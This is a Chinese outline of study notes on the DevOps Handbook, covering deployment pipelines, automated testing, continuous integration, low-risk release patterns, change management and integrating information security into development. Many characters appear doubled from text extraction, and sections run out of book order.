到另外⼿手段管理理好版本、库和依赖 Nexus, Artifactory, Debian或RPM 通过⾃自动化测试即⽂文档 和实践团体传播知识 每个库都要有显著数量量的⾃自动化测 试,⾃自⽂文档并告诉其他⼈人如何使⽤用 每个库或服务建⽴立讨论组和聊天室, 问题会被其他使⽤用者快速回复 通过整理理⾮非功能需求, 应⽤用为运维设计 充⾜足的⽣生产环境和应⽤用遥测 精确追踪依赖的能⼒力力 服务可恢复性和优雅降级 服务向前和向后兼容性 归档数据,管理理⽣生产数据集容量量 轻松搜索和理理解跨服务⽇日志 从多个服务追踪⽤用户请求 使⽤用功能开关,简单、集中运⾏行行时配置 构建可重⽤用的运维⽤用户故事到开发 当有运维⼯工作不不能全部⾃自动化或⾃自服 务,⽬目标是让这些⼯工作可重复和可确定 标准化,尽量量⾃自动化 当不不能⾃自动化,集体定义清晰 的交接,降低前置时间和错误 Rundeck to automate and execute workflows, or work ticket systems such as JIRA or ServiceNow. 创建运维⽤用户故事给开发 以与开发并肩⼯工作的⽅方式,暴暴露露可重 复的运维⼯工作 确保技术选择帮助达到组织⽬目标 为团队优化⽣生产率,但不不能妨碍组织⽬目标实现 运维可以影响哪些组件在⽣生产环境使⽤用, 或给予他们不不负责未⽀支持平台的能⼒力力 识别出有问题的基础架构或平台 阻碍或减缓⼯工作流 不不成⽐比例例的制造⾮非预期⼯工作 不不成⽐比例例的制造⼤大量量⽀支持请求 与架构结果不不⼀一致 吞吐量量,稳定性,安全, 可靠性,业务连续性 Case:Standardizing a New Technology Stack at Etsy (2010) 21. 预留留时间创建组织学习和改进 改进闪电战improvement blitz 全神贯注的专注时间,解决特定的问题 Case:Target DevOps Dojo 道场 1.8万平⽅方英尺的开放办公区 1672平⽅方⽶米 DevOps教练帮助团队评估他们实践的状态 30天挑战 开发团队与教练⼀一起,30天取得突破 针对问题,与教练集中⼯工作,2天迭代 30天挑战结束后,团队回到业务线 不不仅解决问题,⽽而且把新知识带回团队 并⾏行行有8组团队进⾏行行挑战的能⼒力力 也有⾮非密集型的参与模式 1到3天,完成⼀一个MVP 每两周具备Open Labs 任何⼈人可以访问道场,与教练交流 参加Demos,或接受培训 制度化仪式,解决技术债 规划以天或周为单位的改进闪电战 improvement blitzes 不不允许功能开发 解决有问题的代码、环境、架构、⼯工具 横跨整个价值流,开发、测试、信息安全 ⼯工程师跨越整个价值流解决问题 spring、fall cleanings、ticket queue inversion weeks、 hack days、hackathons、20% innovation time 不不仅关注产品创新,还要关注改进⼯工作 Facebook hackathon HipHop PHP compiler ⽐比原⽣生PHP处理理6倍更更⾼高的⽣生产负载 让每个⼈人教和学 美国国家保险公司 Teaching Thursday 每周组织时间学习 从DevOps会议共享经验 DevOpsDays DevOps Enterprise Summit ⼤大型复杂组织 Case:Internal Technology Conferences at Nationwide Insurance, Capital One, and Target (2014) 创建内部顾问和教练传播实践 Case:Google 2005 Testing Grouplet⼩小组 构建世界级⾃自动化测试⽂文化 专注的改进闪电战,内部教练,内部认证机制 当时有20%创新时间的规定 志趣相投的⼈人组成测试⼩小组(Grouplets) 专注在改进闪电战 ⽬目标:整个Google采⽤用⾃自动化测试 没有预算或正式授权,也没有明确的约束 Testing on the Toilet 只有线上的宣传不不⾜足够 每周更更新厕所的测试海海报 两个举措显著促进成功 Test Certified (TC) 提供路路线图,改进⾃自动化测试 克服第⼀一个障碍:不不知道从哪⾥里里或如何开始 Level1~3 Level 1 快速建⽴立基线度量量 Level 2 设定规则,达到⾃自动化覆盖率⽬目标 Level 3 朝⻓长远的覆盖率⽬目标努⼒力力 提供测试认证导师 全职导师,亲⾃自动⼿手,跟团队⼀一起改 进测试实践和代码质量量 应⽤用测试⼩小组的知识、⼯工具、技术到团队的代码 将TC作为指导以及⽬目标使⽤用 全职顾问最终由公司资助 公司级的Fixit改进闪电战 普通⼯工程师有⼀一个想法,可以在全公司内召集⼯工程 师进⾏行行为期⼀一天,密集的代码改良或⼯工具应⽤用冲刺刺 测试⼯工具 其他⼯工具 在关键点及时提供专注的任务,产⽣生兴奋和能量量, 帮助达到最⾼高⽔水平 Part VI: Integrating Information Security, Change Management, and Compliance 22. 信息安全是每个⼈人每天的任务 开发:运维:信息安全 = 100:10:1 信息安全集成在SDLC的所有阶段 集成安全到开发迭代演示 ⽬目标:功能团队尽早保证信息安全 邀请信息安全到开发迭代的产品演示中 Compliance by demonstration 集成安全到缺陷追踪和事后分析 使⽤用与DEV/OPS相同的缺陷追踪系统 如Jira 安全问题的事后分析制度 集成预防的信息安全控制到 共享代码库和共享服务 安全相关的机制和⼯工具 验证和加密的库和服务 配套提供安全培训,检查⼯工具的使⽤用 提供有效的特定安全配置 Code libraries和建议的配置(2FA, two-factor authentication library), bcrypt password hashing, logging 密码管理理(连接设置,加密key) OS包和构建(NTP时间同步,正确配 置的OpenSSL,syslog配置关键安 全信息到ELK) 与运维团队协作,安全和低⻛风险的⽅方 式创建cookbook和构建镜像 集成安全的部署流⽔水线 流⽔水线静态代码扫描时,运⾏行行安全测试 Gauntlt 确保应⽤用安全 happy path和alternative paths 验证⽤用户旅程 按预期,没有异常或错误 sad path 出问题的时候,特别是安全相关错误 测试类型 静态分析 瑕疵,后⻔门,潜在恶意代码 ⾃自内⽽而外 动态分析 内存,功能⾏行行为,响应时间和性能 ⾃自外⽽而内 Arachni and OWASP ZAP (Zed Attack Proxy) ⾃自动化功能测试阶段、上线后的服务都要进⾏行行 依赖扫描 另外⼀一种的静态扫描 部署流⽔水线构建时进⾏行行 确保依赖⼆二进制和可执⾏行行程序不不会受攻击 Gemnasium and bundler audit for Ruby, Maven for Java, and the OWASP Dependency-Check. 源代码完整和代码签名 开发有⾃自⼰己的PGP Key 所有提交到代码库的都要签名 所有CI流程产出的包也需要签名 Case:Static Security Testing at Twitter (2009) 确保软件供应链安全 选择组件和库时,不不仅是功能性,还要关注漏漏洞洞 确保安全的环境 ⾃自动化测试确保适当的安全设置, Key⻓长度等都被正确应⽤用 使⽤用Nmap确保只有期望的端⼝口开放 Case:18F Automating Compliance for the Federal Government with Compliance Masonry 集成信息安全到⽣生产遥测 集成安全遥测到相同的⼯工具,Dev、QA、OP使⽤用 创建安全遥测到应⽤用 成功和不不成功的⽤用户登录 ⽤用户密码重置 ⽤用户email重置 ⽤用户信⽤用卡变更更 创建安全遥测到环境 OS 变更更 安全组变更更 配置变更更(e.g., OSSEC, Puppet, Chef, Tripwire) 云基础设施变更更(e.g., VPC, security groups, users and privileges) XSS企图(i.e., “cross-site scripting attacks”) SQLi企图(i.e., “SQL injection attacks”) web服务错误(e.g., 4XX and 5XX errors) 还要确认正确配置了了⽇日志,遥测可以发送到正确的地⽅方 Case:Instrumenting the Environment at Etsy (2010) 保护部署流⽔水线 如果部署流⽔水线有写权限,攻击者 可以注⼊入恶意变更更到版本控制库 经常在UT中注⼊入恶意代码 减缓⻛风险的策略略 加固持续构建和持续集成服务器器,确 保可以⾃自动化⽅方式重建,防⽌止被盗⽤用 评审所有注⼊入到版本控制库的变更更, 包括提交时的结对编程或合并回主⼲干 前的code review 让仓库探测到代码包含可疑的API调 ⽤用,隔离并⽴立即触发code review 确保每个CI流程运⾏行行在⾃自⼰己隔离的容器器或VM 确保CI系统的版本控制凭证只读 23. 保护部署流⽔水线 集成安全和合规到变更更审批流程 如果部署流⽔水线建设正确,变更更不不需要⼈人⼯工变更更 审批流程,⽽而是依赖⾃自动化测试和主动⽣生产监控 ITIL中的三种变更更 标准变更更 低⻛风险变更更,遵循已建⽴立的和审批过的流程,也可以是预审批的 每个⽉月更更新应⽤用税表或国家代码,⽹网站内 容和⻛风格变更更,确定影响的应⽤用和OS补丁 变更更前不不需审批,变更更⾃自动化完成,有⽇日志可追溯 普通变更更 ⾼高⻛风险变更更,需要授权的审批和批准 很多组织中,由变更更咨询委员会(CAB)或紧急 变更更咨询委员会(ECAB)负责,这是不不恰当的 缺乏需要的专业知识和对变更更的整体理理 解,经常导致不不可接受的⻓长前置时间 特别是数百⼈人⼯工作⼏几个⽉月的⼤大量量新代码部署 CAB需要填写定义好的变更更请求(RFC),包括业务 ⽬目标,计划的效⽤用(服务做什什么)和保证(服务如何 交付和使⽤用),业务⻛风险,提出时间点 紧急变更更 紧急,潜在的⾼高⻛风险,需要⽴立即投产 紧急的安全补丁,恢复服务 需要⾼高级管理理审批,但⽂文档可以后置 DevOps的⽬目标是普通变更更流程也适⽤用于紧急变更更 将⼤大多数低⻛风险变更更重 新分类为标准变更更 有可靠的流⽔水线,已经实现快速,可靠和⾮非戏剧性的部署 要取得运维和相关变更更权利利⼈人的同意,标准变更更由CAB预批准 仍然需要可视化和记录到变更更管理理系 统(Remedy or ServiceNow) ⾃自动化链接变更更请求记录到计划系统 (Jira, Rally, LeanKit, TW Mingle) 功能缺陷 ⽣生产事故 ⽤用户故事 链接⽅方式:通过提交代码的时候增加 Comments,包含ticket number 跟踪部署到版本库变更更, 再到计划⼯工具的tickets 链接就可以了了,⽽而不不必每次代码提交都开新的ticket 当变更更分类为普通变更更 正常变更更需要⾄至少⼀一个CAB的⼦子集审批 提交变更更请求需要完整和准确 可以⾃自动化创建RFCs ⽐比如⾃自动化创建ServiceNow变更更单,带有Jira⽤用户故事链接,还 有构建清单和测试输出,并链接到将要运⾏行行的Puppet/Chef脚本 Case:Automated Infrastructure Changes as Standard Changes at Salesforce.com (2012) 降低对分离职责的依赖 采⽤用结对编程,代码提交持续审查,code review Case:PCI Compliance and a Cautionary Tale of Separating Duties at Etsy (2014) 确保⽂文档和证据为审计员和 合规官员准备好 Case:Proving Compliance in Regulated Environments (2015) Case:Relying on Production Telemetry for ATM Systems Part III:The first way,The technical practices of flow 9. 创建部署流⽔水线的基础 Case: Australian telecommunications company 2009 10个⼯工作条线在进⾏行行,都采⽤用 瀑布模型,但显著落后于进度 只有⼀一个⼯工作条线成功到达UAT测试,但 花费另外6个⽉月测试,仍达不不到业务预期 以上问题促进部⻔门进⾏行行敏敏捷转型 但是敏敏捷转型⼀一年年,只取得很⼩小的改 进,仍然达不不到业务结果的要求 在发布回顾时提出的问题 缺乏业务的参与 需要改善环境的可⽤用 性,每次申请等待8周 改进 建⽴立集成和构建组,负责内建质量量, ⽽而不不是靠最后的测试 由⾃自动化专家和DBA进⾏行行⾃自动化环境建设 团队发现在开发和测试环境匹配的代 码,只有50%能够运⾏行行在⽣生产环境 每个环境的持续向前修复,但未同步 回版本控制库 团队仔细将不不同环境的所有变更更放⼊入 版本控制库 建设⾃自动化环境构造流程,可以重 复、正确的⽣生成环境 结果:得到正确环境的时间从8周降低到1天 反思 不不⼀一致构建的环境 变更更没有系统地同步回版本控制库 按需创建开发,测试和⽣生产环境 让开发可以在他们⾃自⼰己的⼯工作站运⾏行行类⽣生产环境,按需⾃自服务 开发⼯工程师可以更更早和持续得到⼯工作质量量的反馈 不不仅是把环境需求⽂文档化,⽽而是创建⼀一个通⽤用构建机制来构建环境 取代⼈人⼯工构建和配 置环境,要⾃自动化 拷⻉贝虚机镜像,启动在Amazon EC2 构建⾃自动化环境⽣生成流程(从基础镜像PXE安装) 基础设施即代码(Puppet, Chef, Ansible, Salt, CFEngine) ⾃自动化操作系统配置⼯工具(Solaris Jumpstart, Red Hat Kickstart, Debian preseed) 从虚机镜像或容器器装配环境(Vagrant, Docker) 在公有云(AWS,Google App Engine, Microsoft Azure),私有云或PaaS(OpenStack or Cloud Foundry)创建新环境 为整个系统建⽴立单⼀一可信仓库 放到共享版本控制库的资产 应⽤用代码和依赖,库、静态内容等 创建数据库Schemas的脚本,应⽤用引⽤用的数据等 环境构建⼯工具和制品(AMI镜像,Puppet和Chef recipes) 所有创建容器器的镜像,Docker或Rocket定义⽂文件或composition file 所有⾃自动化测试和⼿手⼯工测试脚本 ⽀支持代码打包,部署,数据库迁移,环境分配的脚本 所有项⽬目制品(需求⽂文档,部署流程,发布⽇日志等) 所有云配置⽂文件(AWS Cloudformation templates, Microsoft Azure Stack DSC files, OpenStack HEAT) 其他脚本或构建多个服务的基础设施所需的配置信息(企业服 务总线,数据管理理系统,DNS zone⽂文件,防⽕火墙配置等) 不不仅可以重建⽣生产环境,还需要重建 整个准⽣生产和构建流程 运维团队对版本控制的使⽤用,是IT效能最⾼高 的预测指标(不不仅是代码,还有环境配置) 让基础设施更更容易易重建⽽而不不是修复 原来对待服务器器像宠物,起名字,⽣生病之后治疗好 现在对待服务器器像牲畜,看数量量,⽣生病之后处理理掉 保证环境的⼀一致性,当进⾏行行⽣生产变更更时,这些变更更 都需要被复制到⽣生产和准⽣生产环境,以及新建环境 避免⼿手⼯工登录服务器器变更更,必须确保变更更 可⾃自动化复制,变更更要纳⼊入版本控制 可以依赖⾃自动化配置管理理系统(Puppet 等),或者新建虚拟机或容器器 不不可变基础设施 不不允许⼈人⼯工⽣生产环境变更更 唯⼀一⽅方式是将变更更纳⼊入版 本控制,重建代码和环境 为了了防⽌止⾮非受控配置差异, 禁⽌止远程登录到⽣生产服务器器 防⽌止配置漂移,雪花⽚片服务 器器,脆弱的⼈人⼯工产品 保持准⽣生产环境最新,让开发⼯工作在当前版本环境上 开发完成的标准(DoD), 包含运⾏行行在类⽣生产环境 ⽬目标是确保开发和测试例例⾏行行集成代码到类⽣生 产环境,⽽而不不是迭代结束才第⼀一次⽣生产部署 在准⽣生产环境使⽤用与⽣生产环境相同的 监控,⽇日志,部署⼯工具 尽早和经常性的实践部署,降低⽣生产 环境代码发布时的部署⻛风险 10. 启⽤用快速可靠的⾃自动化测试 Case:Google Web Server (GWS),2005 C++应⽤用,处理理⾸首⻚页和其他Google Web⻚页⾯面的请求 很多不不同的组都相互独⽴立的创建不不同 的搜索功能,放到GWS组,像垃圾场 有很多问题 构建和测试耗时太久 代码提交到⽣生产环境没有充分测试 团队签⼊入⼤大批量量变更更与其他团队冲突 请求结果错误或⾮非预期的缓慢,影响 数以千计的Google.com的搜索请求 解决⽅方案 建⽴立强硬要求:未完成⾃自动化测试的变更更不不被GWS接收 建⽴立持续构建 建⽴立测试覆盖率监控,确保覆盖率持续提升 编写测试规则和指导,让团队坚持 结果很吃惊 GWS快速成为公司效率最⾼高的团队 每周集成来⾃自其他团队的⼤大量量变更更的 同时维持快速发布 新成员可以快速在这个复杂系统贡献代 码,得益于⾼高测试覆盖率和代码质量量 成⽴立测试⼩小群,在接下来五年年,把⾃自 动化测试⽂文化复制到整个Google 现在的Google 每次提交触发数百数千⾃自动化测试 测试成功后⾃自动化合并⼊入主⼲干准备部署⽣生产 很多特性每⼩小时或每天构建,选择发布 “Push on Green” delivery philosophy ⼯工程师素养和⾼高度信任的⽂文化让这套机制可以运⾏行行 2013年年,⾃自动化测试和持续集成让超过4000个⼩小 团队⼀一起⼯工作,保持⽣生产率,同时开发测试部署 所有代码在单⼀一共享仓库,数⼗十亿⽂文件,持续构建 和集成,50%的代码每⽉月变更更 每天4万次代码提交,5万次构建,12万个⾃自动化 测试集,每天750万测试运⾏行行 100+⼯工程师负责测试⼯工程、持续集成、发布⼯工 程⼯工具,提升开发者效率(0.5%的RD⽐比率) 持续构建,测试和集成代码到环境 ⽬目标:内建质量量到产品,即使在早期的阶 段,开发把构建⾃自动化测试作为⽇日常⼯工作 部署流⽔水线:代码签⼊入到变更更控制, ⾃自动在类⽣生产环境构建和测试 在专有环境⾃自动化构建和测试 构建和测试⼀一直运⾏行行,不不论个体⼯工程 师的⼯工作习惯 搞清楚所有依赖,避免只在开发⼈人员 笔记本上能⼯工作 打包应⽤用,可以重复安装代码和配置 不不仅把代码打包,可以选择打包到容器器中 让环境像更更像⽣生产环境,持续和可重复 部署流⽔水线可以⽤用来⾃自服务构建UAT等测试环境 ⼯工具:Jenkins, ThoughtWorks Go, Concourse, Bamboo, Microsoft Team Foundation Server, TeamCity, Gitlab CI, as well as cloud-based solutions such as Travis CI and Snap 提交阶段 构建打包,单元测试 静态代码分析,重复率和覆盖率分析,⻛风格检查 以上内容,在代码被版本库接受之前(pre-commit hooks)要在本地IDE运⾏行行测试,提前快速反馈环 只打包⼀一次,同样的包,采⽤用 同样⽅方式部署到各个环境 持续集成实践 完整、可靠的⾃自动化测试⽤用例例集 当遇到测试失败,停下整条⽣生产线的⽂文化 开发⼯工作在主⼲干上,⼩小批量量的提交, 不不能使⽤用⻓长期存在的Feature分⽀支 构建快速和可靠的⾃自动化确认测试集 快速的⾃自动化测试,⽴立即发现和修复问题,需要确 保⼩小批量量,任何时间保持可部署状态 单元测试 测试单⼀一⽅方法、类,或隔离的功能 保持测试快速和⽆无状态,⽤用桩替代 数据库和外部依赖 验收测试 功能,⽤用户故事,接⼝口正确性 验证应⽤用是否满⾜足客户的意 思,⽽而不不是程序员(UT验证) 通过后执⾏行行⼿手⼯工测试(探索 性,UI测试)、集成测试 架构需要⽀支持模拟远端服务进⾏行行测试 集成测试 确保应⽤用与其他产品或服务交互正确 由于脆弱性,控制数量量,冒烟测试就够了了 有Deadline压⼒力力时,往往停⽌止编写单测 度量量和可视化测试覆盖率 如果低于特定⽬目标(如UT覆盖80% 的类),则让测试集失败 对时间的要求 by Martin Fowler 10分钟构建和测试,UT隔离数据库 时会运⾏行行⾮非常快 第⼆二个阶段是验收测试,连接真实数据 库和端到端⾏行行为,可能运⾏行行⼀一两⼩小时 通过⾃自动化测试尽量量早发现问题 如果发现测试困难或成本很⾼高,要考虑 架构是否紧耦合,模块不不能独⽴立测试 确保测试快速运⾏行行(必要的话并⾏行行) 如安全测试和性能测试并⾏行行 使⽤用最新的构建测试,⽽而不不 是等待开发给⼀一个特定版本 测试驱动开发 TDD or ATDD 研究表明,使⽤用TDD,缺陷密度要好 60%~90%,多花15%~35%的时间 变更更开始,先写测试,再写代码 为想要新增的功能写测试,测试是失败的 写功能代码直到测试通过 重构新代码和⽼老老代码,让测试通过 ⾃自动化尽可能多的⼿手⼯工测试 不不稳定的测试会带来额外的成本 少量量可靠的⾃自动化测试,好过⼤大量量不不稳定或⼿手⼯工的测试 从少量量稳定的⾃自动化测试开始,逐步增加 集成性能测试到测试集 ⽬目标是编写和运⾏行行⾃自动化性能测试跨越整个应⽤用栈(代码, 数据库,存储,⽹网络,虚拟化),作为部署流⽔水线的⼀一部分 通过与验收测试并⾏行行,性能测试可以做背景压⼒力力 记录性能结果偏离度,⽐比如与之前测试结果相差2%以上 集成⾮非功能需求测试到测试集 可⽤用性、可扩展性、容量量、安全性等 当部署流⽔水线破坏时触发安灯拉绳 当某⼈人引⼊入的变更更导致构建或⾃自动化测试失 败,新⼯工作不不允许进⼊入系统,直到问题解决 如果流⽔水线破坏,⾄至少通知整个团 队,这样可以修复问题或回滚 可以配置版本控制系统防⽌止进⼀一步的代码提交, 直到第⼀一个阶段(构建和单测)回到绿⾊色状态 团队⽬目标⼤大于个体⽬目标,帮助个⼈人就 是帮助整个团队 后⾯面的阶段失败,如验收或性能测 试,不不是停⽌止新⼯工作,⽽而是让开发或 测试⽴立即修复问题 在更更早阶段增加测试案 例例,更更早发现问题 增加⾃自动化测试失败的可⻅见性 熔岩等,放歌曲 警报器器,交通灯 需要触发安灯拉升 避免做成Water-Scrum-Fall 11. 启动和实践持续集成 增加分⽀支数量量或分⽀支中变更更的数量量, 会让集成变更更难度⼏几何级上升 通常合并会在项⽬目末尾发⽣生,导致⼤大量量返 ⼯工和下降螺旋,持续集成解决这个问题 Case:HP’s LaserJet Firmware 构建运⾏行行在扫描仪,打印机和其他设备的固件 四百⼈人开发团队,分布在美国巴⻄西和印度 很缓慢,很多年年不不能按业务需求交付新功能, 6~12个⽉月才能发布新功能 每年年发布两次,5%的时间⽤用于开发新功能,其 余时间浪费在与技术债相关的⾮非⽣生产性的⼯工作, 如管理理多个分⽀支或⼿手⼯工测试等 20%详细计划。低吞吐量量和⾼高等 待时间被错误归结在有问题的预 估,然后被要求⼯工作评估的更更细 25%移植代码,所有维护在分 开的代码分⽀支上 10%在开发⼈人员之间集成代码 15%完成⼿手⼯工测试 解决⽅方案 持续集成和主⼲干开发 ⼤大量量投资⾃自动化测试 创建硬件模拟器器,测试可以在虚拟平台运⾏行行 在开发⼯工作站重现测试失败 新的架构⽀支持通⽤用的构建和发布运⾏行行在所有打印机上 原来:每个产品线需要新的分⽀支,每个型号 有不不同的固件,打印机能⼒力力在编译时定义 新架构:所有开发在同⼀一个代码分⽀支上, 单⼀一主⼲干上的固件发布⽀支持所有型号,打 印机能⼒力力在运⾏行行时通过XML配置⽂文件定义 效果 ⼀一份基准代码⽀支持所有24个产品线,在主⼲干上开发 主⼲干开发需要构建有效的⾃自动化测试 持续集成是发现问题最快的⽅方式 在主⼲干上运⾏行行所有测试集 合(单元、验收、集成) 破坏流⽔水线,停⽌止⼯工作, 确保快速回滚到绿灯状态 花费很多精⼒力力构造打印机模拟器器, ⽀支持固件可以⾃自动化测试 ⾃自动化测试提供快速的反馈 单元测试在⼯工程师⼯工作站上运⾏行行数分钟 三级⾃自动化测试,分别在提交时、2⼩小 时、4⼩小时触发 全回归测试每24⼩小时运⾏行行⼀一次 每天可以构建10到15次 每天有超过100次提交 ⼯工程师每天修改或新增7.5~10W代码 回归测试时间从⼿手⼯工6周缩短到1天 业务收益 ⽤用于创新和编写新功能的开 发时间从5%提升到40% 整体开发成本降低40% 开发⽀支持的项⽬目数增加到140% 单项⽬目开发成本降低到78% ⼩小批量量开发 为个⼈人优化⽣生产率 ⼯工作在⾃自⼰己的私有分⽀支 ⼯工作独⽴立⽆无打扰,但合并成为噩梦 为团队优化⽣生产率 ⽆无分⽀支,只有⼀一条⻓长主线 每次提交可能影响整个项⽬目停⽌止 ⼤大批量量合并困难,更更难有动⼒力力去改进和重 构代码,因为这会导致所有其他⼈人的返⼯工 主⼲干开发 每个开发每天⾄至少提交⼀一次代码到主⼲干 减⼩小了了批量量,批量量越⼩小越接近单件流 快速反馈,快速修复 Gated Commits 先确认提交的变更更能够成功Merge,构 建和通过测试,然后才实际合并到主⼲干 否则开发⼈人员会被提醒 12. ⾃自动化和低⻛风险发布 Case:Facebook,2012 从下午1点开始,发布⼯工程师选择当天要发布到 facebook.com的变更更,⼈人为确保每个⼈人的变更更经过了了测试 在⽣生产推送之前,所有存在变更更的⼯工 程师必须在场并在IRC聊天频道签⼊入 不不在现场的⼯工程师,变更更 将会⾃自动从部署包中移除 如果⼀一切正常并且⾦金金丝雀测试通过, 通过⼀一键式在20分钟让数千服务器器 更更新成最新的代码 facebook前端代码原来是PHP, 2010年年为了了提升性能改成C++,编 译后1.5G,15分钟内完成拷⻉贝 在过去五年年,⽹网站从周到天到每天三次 部署,APP从六周到四周到两周部署 使⽤用持续集成,让代码部署成为低⻛风 险流程,每个⼈人⽇日常⼯工作的⼀一部分 ⾃自动化部署流程 简化和⾃自动化尽量量多的⼿手⼯工步骤 打包代码,适合部署 创建预配置好虚机镜像或容器器 中间件的⾃自动化部署和配置 拷⻉贝包或⽂文件到⽣生产服务器器 重启服务器器,应⽤用或服务 从模板⽣生成配置 ⾃自动化冒烟测试 运⾏行行测试程序 脚本化和⾃自动化数据库迁移 ⽀支持部署到⽣生产的流⽔水线⼯工具:the Jenkins Build Pipeline plugin, ThoughtWorks Go.cd and Snap CI, Microsoft Visual Studio Team Services, and Pivotal Concourse 部署流⽔水线的要求 相同⽅方式部署到每个环境 部署后冒烟测试 维护环境⼀一致性,开发测试⽣生产环境保持同步 Case:Daily Deployments at CSG International (2013) ⾃自动化、⾃自服务部署 通常运维执⾏行行代码部署,因为职责分离, 可以降低⽣生产中断和欺骗⻛风险 DevOps:变⾰革为可以减轻⻛风险的其他控制 机制,通过⾃自动化测试、部署、同⾏行行评审 2013年年报告,调研了了4000技术专 家,发现开发部署代码或运维部署代 码,对变更更成功率⽆无显著区别 跨越开发和运维共享⽬目标 如果透明和有⼈人负责任 谁来做部署并⽆无关系 代码晋级流程 构建 从版本控制库⽣生成包,部署到任意环境 测试 任何⼈人可以运⾏行行⾃自动化测试集 部署 任何⼈人可以部署包到有权限的任意环 境,部署脚本也在版本控制库中 集成代码部署到部署流⽔水线 持续集成过程⽣生成包,适合部署到⽣生产环境 展示⽣生产环境就绪状态概览 提供⼀一键式,⾃自服务⽅方式部署到⽣生产 ⾃自动化记录,为了了审计和合规性⽬目的, 执⾏行行的命令、时间、谁授权、结果 运⾏行行⾃自动化冒烟测试确保配置正确 提供快速反馈给开发 解耦部署与发布 部署 安装特定的版本到环境 可以不不与发布⼀一个功能给客户关联 发布 让那个功能对所有或部分⽤用户可⻅见 代码和环境可以设计为:功能发布 ⽆无需变更更应⽤用代码 开发和运维负责快速和频繁的成功部 署,产品经理理负责发布的业务产出 两种发布模式 基于环境的发布模式 有两套或更更多的环境 只有⼀一套接收客户流量量(配置或负载均衡) 新代码部署到⾮非⽣生产环境,然后发布 时切流量量到这个环境 对应⽤用⽆无要求(应⽤用代码⽆无需修改) 蓝绿部署,⾦金金丝雀发布,集群免疫系统 基于应⽤用的发布模式 修改应⽤用,通过⼩小的配置变更更,选择 性发布和暴暴露露特定的功能 通过功能开关,逐步暴暴露露新功能给开发团 队、所有内部员⼯工、1%客户、所有客户 Dark launching:在发布前,在⽣生产 环境启动,利利⽤用⽣生产环境流量量测试, 在真实启动前暴暴露露和解决问题 基于环境的发布模式 可以在正常业务时段发布 降低⽣生产发布⻛风险和部署前置时间 蓝绿部署 处理理数据库变更更 两个版本应⽤用在⽣生产环境依赖同⼀一数 据库时会产⽣生问题 部署需要数据库Schema变更更或新 增、修改、删除表或字段,数据库⽆无 法⽀支撑不不同版本应⽤用 两种解决办法 创建两个数据库,蓝绿各⼀一个 发布时将蓝数据库只读 执⾏行行⼀一个数据库的备份 在绿数据库上还原 最终切流量量到绿环境 问题是回滚到蓝环境时可能丢失交易易 要⼿手⼯工从绿环境迁移新数据 解耦数据库变更更和应⽤用变更更 将数据库变更更的发布与应⽤用变更更的发布解耦 ⾸首先只对数据库做添加性变更更 不不会改变存在的数据库对象 在应⽤用端不不假设哪个数据库版本会到⽣生产环境 数据库虚拟化、版本化、 标签⼯工具:DBDeploy Case:IMVU 2009,每天进⾏行行50次 部署,有些包含数据库变更更 数据库的扩张(新增对 象)/收缩(移除⽼老老对象) ⾦金金丝雀与集群免疫系统发布 来⾃自矿⼯工携带⾦金金丝雀,提供对⼀一氧化 碳级别早期的探测 在发布中监控每⼀一个环境,当错误发 ⽣生就回滚,否则部署下⼀一个环境 要最⼩小化并⾏行行的版本 使⽤用数据库的扩张/收缩模式 Case:Facebook发布模式 A1组:服务内部员⼯工的⽣生产环境服务器器 A2组:服务很⼩小⽐比例例客户的⽣生产环境服务器器, 特定验收标准达到时(⾃自动化或⼿手⼯工测试) A3组:剩余⽣生产环境服务器器,在A2 机器器达到验收标准 集群免疫系统 在⾦金金丝雀发布模式上扩展连接发布流程的⽣生产 监控系统,当⾯面向⽤用户性能降低则⾃自动化回滚 ⽐比如新⽤用户转化率低于 历史基准15%~20% 两个好处 找到在⾃自动化测试很难发现的缺陷(如web⻚页⾯面 变更更影响了了⻚页⾯面元素的可⻅见性,如CSS变更更等) 降低探测到变更更引发的性能降级的时间 IMVU,Etsy,Netflix 基于应⽤用的安全发布模式 拥有更更⾼高的灵活性,安全发布新功能 给客户,通常是以每个功能为基础 因为在应⽤用层⾯面,所以要引⼊入开发 功能开关 有选择性的启⽤用或关闭功能开关,不不需要⽣生产环境代码部署 可以选择⽤用户群体,如内部员⼯工,分段的客户等 通常的实现:使⽤用条件语句句包装应⽤用逻辑或UI元 素,通过存储在某处的配置启⽤用或关闭功能 例例⼦子 Facebook Gatekeeper 根据⼈人⼝口学信息选择功能可⻅见或不不可⻅见 地点,浏览器器类型,年年龄,性别等 Etsy Feature API , Netflix Archaius library 容易易回滚 出现问题时,关闭开关,⽐比整个回滚更更容易易 优雅降级性能 通过减少功能性交付增加可⽀支持的⽤用户数 关闭CPU密集型功能,如推荐等 在SOA架构增加还原能⼒力力 依赖的服务不不可⽤用,功能仍可以 正常部署到⽣生产环境但关闭开关 服务准备好再开启开关 当服务失败,也可以关闭调⽤用它 的开关,让应⽤用剩余部分可⽤用 确保发现错误,⾃自动化测试时应打开所有开关 功能开关让代码部署与功能发布解耦,⽀支持了了假设驱动的AB测试 Dark Launches 部署所有功能到⽣生产环境并执⾏行行测试,但对客户不不可⻅见 ⼤大型或有⻛风险的变更更,通常提前数周进 ⾏行行⽣生产发布,在类⽣生产压⼒力力下安全测试 快速反馈环,⽴立即验证业务假设和结果 Case:Dark Launch of Facebook Chat (2008) 持续交付与持续部署 持续交付 开发以⼩小批量量⼯工作在主⼲干上,或者每个⼈人 在短Feature分⽀支上,有规律律的合并主⼲干 主⼲干⼀一直保持可部署状态 可以使⽤用点击按钮的⽅方式在正常业务时段按需发布 开发可以得到快速反馈,包括缺陷, 性能问题,安全问题,易易⽤用性问题 当问题被发现,他们快速修复,主⼲干 ⼀一直保持可部署状态 持续部署 在以上基础上,以规律律的、⾃自服务的 ⽅方式部署成功的构建到⽣生产环境 每⼈人每天⾄至少⼀一次部署到⽣生产环境 甚⾄至⾃自动化部署每个变更更 持续交付是持续部署的先决条件,就 像持续集成是持续交付的先决条件 持续部署可能适⽤用于web服务的线上交付 持续交付适⽤用于⼤大多数需要⾼高质量量部署和 发布,快速和⾼高度可预测,低⻛风险的场景 包括嵌⼊入式系统,COTS 产品,移动app等 13. 低⻛风险发布架构 架构不不断演进,Google和ebay已经 有五次从头到尾的架构重写 紧耦合架构,过多的沟通和协调,『开发花 费15%时间写代码,其余时间⽤用于开会』 单体应⽤用的问题 每次提交代码到主⼲干或发布,有导致全局失 败的⻛风险(阻塞了了其他⼈人的测试或功能) 为避免这样的问题,每个⼩小的变更更都需 要⼤大量量沟通和协调 部署变得有问题,很多变更更批量量发布, 让集成和测试更更复杂,增加出错⻛风险 绞杀者模式 